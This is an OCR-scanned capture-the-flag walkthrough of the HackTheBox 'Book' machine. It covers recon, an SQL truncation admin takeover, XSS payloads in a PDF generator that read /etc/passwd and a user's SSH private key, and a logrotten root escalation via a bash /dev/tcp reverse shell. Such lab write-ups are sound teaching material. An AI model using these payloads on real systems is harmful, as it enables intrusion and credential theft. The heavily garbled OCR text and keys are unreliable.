HackTheBox — Book

Book

i L1nux

Medium

Summary

* Created a new user on web server and discovered admin email address.

* Discovery of admin login panel which is vulnerable to an SQL truncation attack.

* Abused SQL truncation to change the admins password.

* Discovery of XSS vulnerability in dynamically generated PDF, this could be used to read
local files.

* Abused XSS to gain the user — readers SSH key.

* Authenticated as reader via SSH.

* Abused logrotate using the logrotten vulnerability to gain a reverse shell as the root account.
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Recon

I began by adding 10.10.10.176 to /etc/hosts as book.htb.
Port scans only revealed ports 22 running SSH and port 80 hosting HTTP.

$ sudo nmap -TS book.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-87-09 85:49 EDT
Nmap scan report for book.htb (10.10.10.176)
Host is up (@.017s latency).
Not shown: 998 closed ports
PORT  STATE SERVICE
22/tcp open ssh
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 8.52 seconds
$ sudo nmap -T5 -sV -sC -p22,80 book.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-87-09 85:49 EDT
Nmap scan report for book.htb (10.10.10.176)
Host is up (©.23s latency).

PORT  STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6pl Ubuntu &ubuntu®.3 (Ubuntu Linux; protocol 2.8)
ssh=hostkey:
2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA)
256 a3:e5:d1:74:c4:8a:e8:c8:52:¢7:17:83:4a:54:31:bd (ECDSA)
256 €3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
http-cookie-flags:

PHPSESSID:
_ httponly flag not set
_http-server-header: Apache/2.4.29 (Ubuntu)
_http-title: LIBRARY - Read | Learn | Have Fun
Service Info: 05: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.89 seconds

: $ ports=$(sudo nmap -T5 -p- book.htb |grep “[0-9]|cut -f1 -d "/");echo $ports
22 8o

Running dirb against the HTTP server revealed an interesting directory — admin.

OUTPUT_FILE: dirb.txt

START_TIME: Thu Jul 9 05:52:01 2020

URL_BASE: http://book.htb/

[WORDLIST FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://book.htb/ ----

==> DIRECTORY: http://book.htb/admin/

==> DIRECTORY: http://book.htb/docs/

==> DIRECTORY: http://book.htb/images/
http://book.htb/index.php (CODE:200|SIZE:6800)
http://book.htb/server-status (CODE:403|SIZE:273)
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Visiting the website reveals a user login and signup form, where I created a new user and logged in.

Signin
f G+ in
O Use your account Hey BUddy!

Email Do a quick Sign Up and Grab Some Books!

Password SIGN UP

Forgot your password?

Library
If you have a Garden and a Library, you have everything you needed.

Home signed Logout

We have awesome collections. Thanks for being a member of our site. Keep reading and if you have awesome collections you can contribute too.
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Some interesting pages included collections which allows the user to upload books in PDF format
and contact which had an admin email address.

Collections Contact Us

Book Submission

Book Title
Author

Browse... No file selected. Upload

Contact Us

Contact Admin

To admin@book.htb

From driggzzzz@htb.htb
Message

Send

The login page has a very interesting script in the source code, mentioning a validateForm function,
this appears to check the lengths of input, limiting the username to 10 characters and the email
address to 20 characters.

<IDOCTYPE htmi>
=<html lang="en"> [scroll

UTF-&

stylesheet https://cdnjs.cloudflare.com/ajax/libs/font -awesome/5.7.2/css/all.min.css

if (document.location.search.match(/type=embed/gi)} { window.parent.postMessage("resize", "*"); } function validateForm{) { var x = document.forms["myForm"]
["name e; va dc ent. fc " email"].value; x } { alert{"Please fill name field. Should not be more than 10 characters"); return false; }

if (y == ) { alert{"Please fill email field. Should characters"); return false; } }

<body translate="no">[=l</body> flex
</html>
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With this knowledge I attempted an SQL truncation attack, as the username field gets cut off after
10 characters and the email field at 20, it should be possible to use an existing username and email
address but appending spaces up to the character limits followed by another character, this allows
the account creation form to essentially work as a password reset form..

Create Account

or use your email For registration

admin 11

‘ admin@book.htb 11 ‘

Unfortunately my browser didn't like what I was doing, so I attempted again using burp — this time
successfully.

POST /index.php HTTR/1.1

Host: book.hth

User-Agent: Mozillas/S.0 (X11; Linux x86 64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://bock.hth/index.php

Content-Type: application/x-www-Tform-urlencoded

o Content-Length: 52

10 Connection: close

11 Cookie: PHPSESSID=n&lkulgmboljdmipvighrumggs

12 Upgrade-Insecure-Reguests: 1

[

e L) I ) R R W

(]

14 name=admin 1&emal L=admin@hook . hth 1&password=123456
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Visiting the admin page revealed an admin login form, I could successfully authenticate using the
admin accounts new password.

Admin Sign in
f G+ in

or use your account

Email Authorized People
Only

Password

Forgot your password?

SIGNIN

Library | Admin Panel

If you have a Garden and a Library, you have everything you needed.

Home U Feedback  Collections Signed in as admin ~ Logout

Administrators can review the book list and can moderate the users.

i/\ ': I
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Visiting collections and clicking the PDF links appears to create dynamically generated PDFs based
upon the books stored on the website.

Collections

Export The Collections

# Export
Users PDE
Collections PDE

34911.pdf

Efw Go Bookmarks Help

1 (Lof1) 100%

Collections Data

Title
Corpse Flower
Queen of the Night|
Chocolate cosmos

s | ([ | 1=

Lady's-Slipper

I confirmed this by uploading a PDF file from my low privilege user account and rechecking the
collections with the admin account. Some testing of this function and some research lead me to
trying XSS by submitting a PDF with a simple script to print “vulnerable...” to the dynamically
generated PDF. The payload used was:

src=x onerror=document.write('vulnerable...’'

Book Title driggzzzz111
Author <img src=x onerror=documen
Browse... ForwardSlash.pdf Upload

This successfully wrote the line to the PDF.

vulnerable...
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FootHold

With confirmation of XSS I tried to read local files using the following payload:

<script>
x=new XMLHttpRequest;

x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///etc/passwd");x.send();
</script>

Submitting this payload successfully generated a PDF containing the contents of /etc/passwd,
revealing a user — reader.

Book Submission

Book Title file:///etc/passwd");x.send(); <,
Author driggzzzz111
Browse... Untitled 1.pdf Upload

root:x:0:0:root:/root:/bin/bash

daemon:x:1: 1:daemon:/usr/shin:fusr/shin/nologin
bin:x:2:2:bin:/bin:fusr/shin/nologin sys:x:3:3:sys:/dev:/usr/shin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
Ip:x:7:7:1p:/var/spool/lpd:/usr/shin/nologin
mail:x:8:8:mail:/var/mail:fusr/shin/nologin
news:x:9:9:news:/var/spool/news:fusr/shin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/shin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-
data:/var/www:fusr/shin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats
Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbhin/nologin systemd-
network:x:100:102:systemd Network
Management,,,:/run/systemd/netif:fusr/shin/nologin systemd-
resolve:x:101:103:systemd
Resolver,,,:/run/systemd/resolve:/usr/shin/nologin
syslog:x:102:106::/home/syslog:/usr/shin/nologin
messagebus:x:103:107::/nonexistent:/fusr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/shin/nologin
Ixd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/shin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/shin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/shin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
reader:x:1000:1000:reader:/home/reader:/bin/bash
mysqgl:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
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Knowing a username on the system is highly useful, I used this information to attempt to read their
SSH private key using the following payload:

<script>
x=new XMLHttpRequest;

x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
</script>

Whilst this was successful the formatting on the key was wrong and some characters were cut off.

MIIEpQIBAAKCAQEA2]]QsccK6fEQS0WbVGOUKZdfOFyicolrrm821nHy
GBMEUNZYRG]j77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfRI9rMg7 FRnV
WxtCKOV1QUwxZ6953D16ux LRHBLXeI6BNAL jFOZ7zgkzRhTYIpKs6M80N
ePVERKoYVWuVRb4nFG1ES@b0j291ub4yWd/ j3xWXHgpalciHKxeN1r8x6N
TWaZQé4cjd+yzp0CIw9I91Vi33gve+KCIzr+TEfzI82+hLW1UGx/13Th20cZ
75I5d5Ho1g7ME4QBURGEQOE3EOY6whCP1zndVwIDAQABAOIBAQCS+kh
3mxvPeKok6BSsvqID7aw72 FUbNSusbzRWwX jrP8ke/Pukg/OmDETXmtg
McKIrDvg/gVEnNiE&7ckXxVZQDVR7 jvvjVhkQGRcXWQFfgHThhPWHII+3
tIGcAaz3dTODgD0O4QC33+U9WeowgpOagg9rin00vez01 jDgeGnbzrE
JFhPHFI7usIxmgX802/nx3LSUNeZ2vHK5PMxiy1SQLiChTBI/DurhMelbFX
7Qd2hMSr7qIVdfCQOjkmE3x/L37YQENQph61cPzvWGOEGQzkuubl jFkYz6s
GZYD7sW5A0GBAD8IThOZCBosdYwOAISAk1v jmWIZSPLYsmTmk3A7 O
E2vk2W5a9R6N5bELIYvSt378snyrZGWpalOWIADU+9xpZScZZ9imHHZ
ciqzwDZ fSg5QLoeBCV/7sL2nKBRYBQVL6DBSBRPTIR+]/wHRtKt5Pkx jA0
SRM/Abh5xub6zThrkIRnFgcYEF5CmVIX9IgPnwgWPHGCwU jKEHSpwpel
skG13dh4M/2Tgl/gYPuUKI 4oriSOMRWYKGANDLAt+Diz9mA3FQIi26icke
05GVIWTOLFEj 74kBhCEGjzZWHNa0pS1BEIAEFE6XT9A0GAZCDIAIZYhdxHs §9
He5L0Gww+NgzBOHtsUprN6YpJ7AR6+Y1LECItML/FOW2AFbkzoNbHT9G
hBhBp1ZeeShviobg jKUxQmbp2W975wKR4MdsihULpInwf4S2k81+fVHIL
Pb9n+p@hvtZ9sSA4so,/DACSCEYEA1y1ERO6XImZBXTQ7 IUwfIBFnzqZ27
sMRwcd3TudpHTgLxVa91076cquw8AN78nyPTuDHVIMN+qis0YyfcdwQ
tdBBPOUv2dafya7bfuRG+USH/OT j3wVen2sxoox/hSxM2iyqvliJ2LZXndV
5bBLnzECEYEALLiYGzP92qdmLKLLWS7nPMOYzhbN9qBqC3ztk/+1v8pjjl
y1K/LbqIV3CO1ruxVBOV7ivUYrRkxR/u5QbS3WxOnK@FY j1S7UUACLrdzM
nkeaf9obYKsrORVuKKVNFzrileXcVx+0G3NisSABIprhDfKUSbHzLIRG=

I managed to get around this using the following payload:

<script>
x=new XMLHttpRequest;

x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();
</script>

This script does the same as before except encodes the contents with base64.
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I could then download the PDF and use pdfminer to extract the text content from the PDF.
https://github.com/pdfminer/pdfminer.six

$ pdf2txt.py ~/Downloads/24787.pdf

LSltLSlCRUdJTlBSUIEgUFJJVkFURSBLRthLSltLQpNSUlFcFFJQkFBSlNBUUVBMkaUXNJVl52ZkUwNngvlZHT3VLWmRmMEZSaWNvVXbeTgyMWSIEWdtTGdXU3BKCkcAbTZVT1p5dequd12
(VIHZS83WU1RWVBBVESMU@9wWUUT1ZTNrbmhEaUVzZ1I50XINZzdGUMSWQ3BpSFBWS JAKV3haQoswVmxRVXd4W i YSNTNEMT Z1eGx SSDhMWGV INkJ0QULqRjBaN3pna3pSaFRZSnBLcz ZNODBOZGpVQ2
WvMApLUFY4UktvIWVZXdVZSY jRuURkcXRXMwYkIgMj1sdTYdeVdkL2ozeFdYSGdwYUpjaUhLeGVObHI4eDZ0Z21QdjRzCjdXYVPRNGNgZCt5enBPQOp30U0SMVZpMzNndjYrSeNJenIrVEVmekksMit
oTFexVUd4LzEzZmgyMGNaWEE2UEsKNzVINWQ1SG9sZzdNRTQwQLUwWNKVXMEUZRU9ZNndoQ1Bsem5kVnd JREFRQUIBb@1CQVFDcytraDdoawWhBYk1pNwozbXh2UGVLb2s2QLNzdnFKRDdhdzcyR1Vi
TLN1c2J6U1d3WGpyUDhrZS9QdwtnL@9tREVUWG10Z1RvRNd4c@QrCkljS01yRHZxL2dWRWS0aUU@N2ZNrWHhWWnFEV1I3anZ2alZoalFHUMNYV1FmZ@hUaGhQVehKSSszaXVRUnd6VUkKdELHY@Fhe
JNKVE9EZORPMDRRY zMzK1U5V2Vvd3FwT2FxZz1yV24wMHZnek9JakRnZUduYnpyOUVSZGLIWDZXSgpqaFBIRkk3dXN]eG1nWDhRMi9ueDNMU1VOZVoydkhLNVBNeGL5SINRTGLDY1RCSS9EdX JoTW
VsYkZYNTAvb3d6CjdRZDIoTVNYN3FKVMRmQ1Fqa21FM3gvTDM3WVFFblFwaDZsY1B6d1ZHTOVHUXprdXU@bGpGall6NnNaOEdNeDYKR1pZRDdzVzVEb@dCQUB4LOWZoT1pD0OGIZZF13TOFIUBFrMXZ
gbVcSWLNQTFLzbVRtazNBN2pPd2tIMG84LzRGTAPFMNZrMLc1YT1SNk&1YkVioX12U3QzNzhzbnlyWkdXcGFIT1dKQUR1Kz14cFpTY1paOWltSEhaaVBsU@5iYzgvCmNpcXp3RFpmU2c1UUxvZThD
Vi83cowybktCUL1CUVZMNKQ4AUR@ISUFRIUitKL3dIUnRLADVQa3hqQWIHQkFPZSsKU1INLOFiaDVadWI2elRocmt JUmSGZ2NZRWY1Q21WS1g5SWdQbndnV1BIR2N3VWpLRUg1 cHdwZWk2U3Y4ZXQ3b
(Apza@dsM2RoNEOVMLRNbCInWVB3VULINGIyaTVPTVIXeWtHQUSiTEFOK@Rpe j LtQTNGUULpMiZpY2tnRDImditWCm81R1ZqV1RPbGZFajc@azhoQzZHanpXSGShMHBTbEIFaUFFRIZYdD1Bb@dBWK
NEamRIWl1loZHhIc205bCINN2@KSGMITE9Hd3crTnF6QjBIdHNVCHIONL 1wS jdBUjY rwWx FY@ 1@ TWwvRk9XMkFGYmt6b@51SFQ5R3BUa jVaZmF jQwpoQmhCcDFaZWVTaHZXb2 IxaktVeFFtYnAyVzk
3NXdLUjRNZHNpaFVscElud2Y@Uz JrOEorZ1ZISmw@SWpUODB1C1BiOW4srcDBodnRaOXNTQTRzby9EQUNZzQ2dZRUEXe TFFUk82WDL tWjhYVFE3SVV3Zk1CRm56cVoyN3BPQU1Za2gKc@1Sd2NkM1R1
ZHBIVGdMeFZhOTEwNzZ jcXc4QU430G55UFRIRENWd@10K3Fpc@9ZeWZ jZHARSGMYWGIZOF1DZgp@ZEICUDBYdj JkYWZ5YTdiZnVSRy tVURgvUVRQM3dWZWayc3hvb3gvaFNATTIpeX F2ZMWLKMKkxaW
G5kVmMvekxpCjViQkxuekVDZ11FQWxMaV1HelASMnFkbWxLTExXUzduUEOwWXpoYk45cTBxQzN6dGsvKzF20HBqa jE2MnBubFcKe TFLLOxicUTWMaMWMXJ1e FZCT1Y3aXZVWXJSa3hSL3U1UWITML
d4T25LMEZZamxTN1VVQWM@c jB6TWZXVD1UTgpua2VhZjlvY11Lc3IPULZ1S0tWTkZ6c1dIWGNWeCtvRZNOaXNTQUIIcHIoRGZLVVNiISHPpMSVI@PQotLS0t LUVORCBSU@EEUF JJVKFURSBLRVKLLS®
tLQo=

I could then pipe the output to base64 -d to get a properly formatted SSH key for reader and
authenticate via SSH.

$ echo "LS@tLS1CRUdITiBSUREgUFJIVKFURSBLRVKtLS@tLQpNSULFCcFFIQKkFBSONBUUVBMKPKUXN]Y@s2ZKUWNUIXYLZHT3VLWMRMMEZSaWNvVXy
ngyMWSIEWdtTGdXU3BKCkcbbTZVTIpSUkquzdlZVlHZSS3WUlRWVBBVESMUI?WUUIIZTNrbmhEaUVzZlISOXJNszGUmSWQ3BpSFEwSJAKV3hIQIsmexRVXdhWJYSNTNEMTZIEGXSSDhMWGVJN
kJoQU1qRjBaN3pna3pSaFRZSnBLczZNODBOZGpVQ2wvMApLUFY&UktvWVZXdVZSY jRURkcxRXMwYkoqMjlsdTY@eVdkL20zeFdYSGdwYUpjaUhLeGVObHI4eDZ0Z21QdjRzCjdXYVpRNGNgZCtS5en
BPQ@p30UoSMVZpMzNndjYrSenNJenIrVEVmekkéMitoTFexVUd4LzEzZmgyMGNaWEE2ZUESKNZVINWQ1SG9s ZzdNRTQwQLUWNKYXMEUZRU9ZNndoQ1BsemSkVnd JREFRQUIBb@1CQVFDecytraDdoaWh
BYk1lpNwozbXh2UGVLb252QLNzdnFKRDdhdzcyR1ViT1N1c2I6ULd3WGpyUDhrZS9QdWtnL@9tREVUWG10Z1RVRNd4c@QrCkl jSO1yRHZxL2dWRWS50aUUBN2NrWwHhWWnFEV1I3anZ2alZoalFHUmNY
V1FmZ@hUaGhQV@hKSSszaXVRUnd6VUKKAELHY@Fhe jNKVE9EZORPMDRRY zMzK1USV2Vvd3FWT2FxZz1yV24wMHZnekd JakRnZUduYnpyOUVSZGL1WDZXSgpqaFBIRkk3dXNJeG1nWDhRMi9ueDNMU
1V0ZVoydkhLNVBNeG15S1NRTGLDYLRCSS9EdXJoTWVsYKZYNTAvb3d6CjdRZDIoTVNYN3FKVmRmMQ1Fqa21FM3gvTDM3WVFFb1 FwaDZsY1B6d1ZHTOVHUXprdXU@bGpGall6NnNaOEdNeDYKR1pZRD
dzVzVBbOdCQUB4LOWZoT1pD0GIzZF13TOFJUBFrMXZqbVeSWINQTF1zbVRtazNBN2pPd2t IMGB4LzRGTApFMNZrMlc1YT1SNk41YkViOX12U3QzNzhzbnlyWkdXcGFIT1dKQUR1KZ14cFpTY1paOWlL
tSEhaaVBsUB5iYzgvCmNpcXp3RFpmU2c1UUxvZThDVi83cOwybktCUT1CUVZMNKQ4UBISUFRIULtKL3dIUNRLADVQa3hqQWOHQKFPZSsSKULINLOFiaDV4dWI2ZelRocmt JUmSGZ2ZNZRWY1Q21WS1g5
SWdQbndnV1BIR2N3VWpLRUg1cHdwZWk2U3Y4ZXQ3bApza@dsM2RoNE@VMLRNbCINWVB3VUL INGOYaTVPTVIXeWtHQUSiTEFOKORpe j1tQTNGUULpMiZpY2tnRDImditWCm81R1ZqVIRPbGZFajcoa
zhoQzZHanpXSGShMHBTbEJFaUFFRjZYdD1BbOodBWkNEamRIWL10ZHhIc205bC9NN20KSGMITESHA3crTnF6QjBIdHNVCHIONT1wS jdBU Y rivWx FY@ e TWwvRk9XMkFGYmt6b05iSFQ5R3BUajVaZm
FjQwpoQmhCcDFaZWVTaHZXb2JxaktVeFFtYnAyVzk3NXdLUjRNZHNpaFVscElud2Y@UzJIrOEorZ1Z2ISmw@SWpUODB1C1BiOW4rcDBodnRaOXNTQTRzby9EQUNzQ2dZRUEXxe TFFUKB2WD1 tWjhYVFE
35VV3Zk1CRm56cVoyN3BPQU1Za2gKc01Sd2NkM1R1ZHBIVGdMe FZhOTEWNzZ Z jcXc4QU430G55UFR1RENWA010K3Fpc@9ZeWZ jZHARSGMYWGOZOF1DZgp@ZEJCUDBY j JkYWZ5YTdiZnVSRy tVUegy
UVRQM3dWZWayc3hvb3gvaFN4TTIpeXF2ZMWLKMkxaWGSkVmMvekxpCjViQkxuekVDZ11FQWxMaV1He LASMnFkbWxLTExXUzduUE@wWXpoYk45cTBxQzNedGsvKzF20HBgajE2MnBubFecKeTFLLOxic
ULlWMeMwMX J1eFZCT1Y3aXZVWXJSa3hSL3UIUWITM1d4T25LMEZZamxTNIVVQWMBc jB6TWZXVDLUTgpua2VhZjlvYLllL PULZ1S@0tWTkZ6c1d1IWGNWeCtvRzNOaXNTQUIIcHIoRGZLVVNISHpMSY
I0PQotLS@tLUVORCBSUGEEUFIIVKFURSBLRVKtLSOtLQo=" | base64 -d
BEGIN RSA PRIVATE KEY:
MIIEpQIBAAKCAQEA2]IQsccK6fE@SOWbVGOUKZd f@FyicolUrrm821nHygmLgWSpl
GBMEUNZYRGj77eeYGe/7YIQYPATNLSOpQIue3knhDiEsfRI9rMg7 FRNVCpiHPpJo
WxtCKeV1QUwxZ6953D16uxLRHELXeI6BNALFOZ7zgkzRhTYIpKs6MBANdFUCL/0
ePVBRKoYVWUVRb4NFG1ES@b0j291ub4yWd/ j3xWXHEpalciHKxeNlr8=6NgbPvas
TWaZQacjd+yzpOCIwdI91Vi33gve+KCIzr+TEFzI82+hLW1UGX/13Fh20cZXAGPK
75I15d5Ho1g7ME4@BURGEQRE3EOY6wWhCP1zndVwIDAQABAOIBAQCs+kh7hihAbIi7
3mxvPeKok6BSsvqID7aw72FUbNSusbzRWwX jrP8ke /Pukg/OmDETXmt gToFwxsD+
McKIrDvq/gVEnNiE&7 ckXxVZgDVR7 jwviVhkQGRcXWQfgHThhPWHII+31uQRwzUI
tIGcAaz3dTODEgDO04QC33+U9WeowqpOagg9rn@@vgz0l jDgeGnbzr9ERdiuXewd
JhPHFI7usIxmgX8Q2/nx3LSUNeZ2vHKSPMxiyJSQLiChbTBI/DurhMelbFX50/owz
7Qd2hMSr7qIVdfCQjkmE3x/L37YQENQph61lcPzvVGOEGQzkuusl jFkYz65ZBGMx6
GZYD7sW5A0GBAOBIFhOZCBosdYwWOAISAk1vimWIZSPLYsmTmk3A7 jowkedo8/4FL
E2vk2W5a9R6N5bED9YVSt378snyrZGWpa IOWIADU+9XpZScZZ9imHHZiP1SNbc8/
ciqzwDZfSg5QLoeBCV/7sL2nKBRYBQVLED8SBRPTIR+]/wHRtKt5Pkx jAoGBADe+
SRM/Abh5xub6zThrkIRnFgcYEF5CmVIX9IgPnwgWPHGcwUjKEHSpwpei6SvBet 7l
skG1l3dh4M/2Tgl/gYPWUKI4oriSOMRWYKGANDLAt+Diz9mA3FQIi26ickgD2fyv+V
056GV WTOLfEj74kBhC6Gj zWHNa@pS1BELIAEF6Xt9A0GAZCDdIZYhdxHs j91/g7m
Hc5L0Gww+NqzBOHtsUprN6YpJ7ARG+Y1EcItML/FOW2AFbkzoNbHTGPT j5ZfacC
hBhBp1ZeeShvWobqjKUxQmbp2W975wKR4Mds ihUlpInwf4S2k81+fVHI14IjT80U
Pb9n+p@hvtZ9sSA4so/DACSCEYEA1y1ERO6XIMZ8XTQ7 IUwf IBFnzqZ27p0AMYkh
sMRwcd3TudpHTgLxVa91076cqwB8AN78ny PTuDHVWMN+qisOYyfcdwQHc2XoYBYCT
tdBBP@Uv2dafya7bfuRG+USH/QTj3wVen2sxoox/hSxM2iyqv1iJ2LZXndVe/zLi
5bBLNzECEYEALLiYGzP92qdmLKLLWS7nPMBYzhbN9q@qC3ztk/+1vBpjj162pnlw
y1K/LbqIV3C@1ruxVBOV7ivUYrRkxR/u5QbS3WxOnKOFYj1STUUACAT@zMfWTITN
nkeaf9obYKsrORVUKKVNFzrWeXcVx+0G3NisSABIprhDfKUSbHZLIRA=
END RSA PRIVATE KEY
z $1
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https://github.com/pdfminer/pdfminer.six

$ ssh -i id _rsa readera@book.htb
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 5.4.1-050401-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu Jul 9 11:42:39 UTC 2020

System load: 0.0 Processes: 142

Usage of /: 26.6% of 19.56GB Users logged in: 0

Memory usage: 22% IP address for ens33: 10.10.10.176
Swap usage: 0%

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

114 packages can be updated.
@ updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or proxy settings

Last login: Wed Jan 29 13:03:86 2020 from 10.10.14.3
readergbook:~$ whoami; hostname

reader

book

readera@book:~$ ||

Privilege Escalation

I downloaded linPEAS (a very comprehensive enumeration script) to the target system and ran it,
outputting an interesting section regarding logrotate and an exploit for it — logrotten against the
access.log files in /home/reader/backups.

readerabook:

readerabook: $ wget http: //ll 10.14.8/PEAS/1inPEAS/linpeas.sh
--2020-07-09 11:46:29-— http://10.10.14.8/PEAS/1inPEAS/linpeas.sh
Connecting to 10.10.14. ... Connected.

HTTP request sent, awaiting response ...

Length: 161009 (157K) [text/x-sh]

Saving to: ‘linpeas.sh’

linpeas.sh >] 157.24K —-—KB/s in 0.06s
2020-07-09 11:46:29 (2.58 MB/s) - ‘linpeas.sh’ saved [161009/161009]

readerabook: $ ./linpeas.sh > driggzzzz.txt
-bash: ./linpeas.sh: Permission denied

readergbook: $ chmod +x linpeas. sh
readerabook : .sh o

[+] Writable log files (logrotten)
https://book.hacktricks.xyz/linux-unix/privilege-escalation#logrotate-exploitation

Writable:

Writable:

Details on exploiting logrotten can be found here:

https://github.com/whotwagner/logrotten
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https://github.com/whotwagner/logrotten

I compiled logrotten.c as logrotten and downloaded it on the target system.

readergbook: : 0.10.
—2020-07-09 12:26:10— http://10.10.14.
Connecting to 10.10.14.8:8000 ... connected.
HTTP request sent, awaiting response ... 200 OK

Length: 18296 (18K) [application/octet-stream]
Saving to: ‘logrotten’

logrotten 100%[== 17.87K —+«—KB/s in @.01s

2020-07-09 12:26:10 (1.31 MB/s) - 'logrotten’ saved [18296/18296]

readerd : 51

Afterwards I moved the file to /tmp and made sure that it could be executed by using chmod +x.
I also created a script which I called “driggzzzz”, also using chmod +x to make it executable, the
scripts contents were:

bash -i >& /dev/tcp/IPADDRESS/PORT 0> &1

I then set up a listener, executed logrotten, calling this script and the access.log files in readers
home directory. To trigger the log rotate I wrote to the access.log file. This successfully granted me
a reverse connection as the root account.

readerabook: $ cat driggzzzz listening on [any] 9001 ...
bash -i >& /dev/tcp/10.10.14.8/9001 0>51 id; hostname; cat /root/root.txt
reader@book: $ ./logrotten -p ./driggzzzz /home/reader/backups/access.log
Waiting for rotating /home/reader/backups/access.log... connect to [1 14.8] from (UNKNOWN) [10.10.10.176] 53744
Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /e hostname; cat /root/root.txt
tc/bash_completion.d (root) groups=0(root)
Waiting 1 seconds before writing payload ...
Done! 84da92adf998a1c7231297f70dd89714
readerabook: $ 0 rootabook:~#
root@book:~# I

readerabook: $ echo "blah" > access.log

readerabook: $ echo "blah" > access.log
readergbook:

The connection to the root account wasn't very stable and cut out quite quickly, though persistence
could be gained by reading the root account SSH private key.
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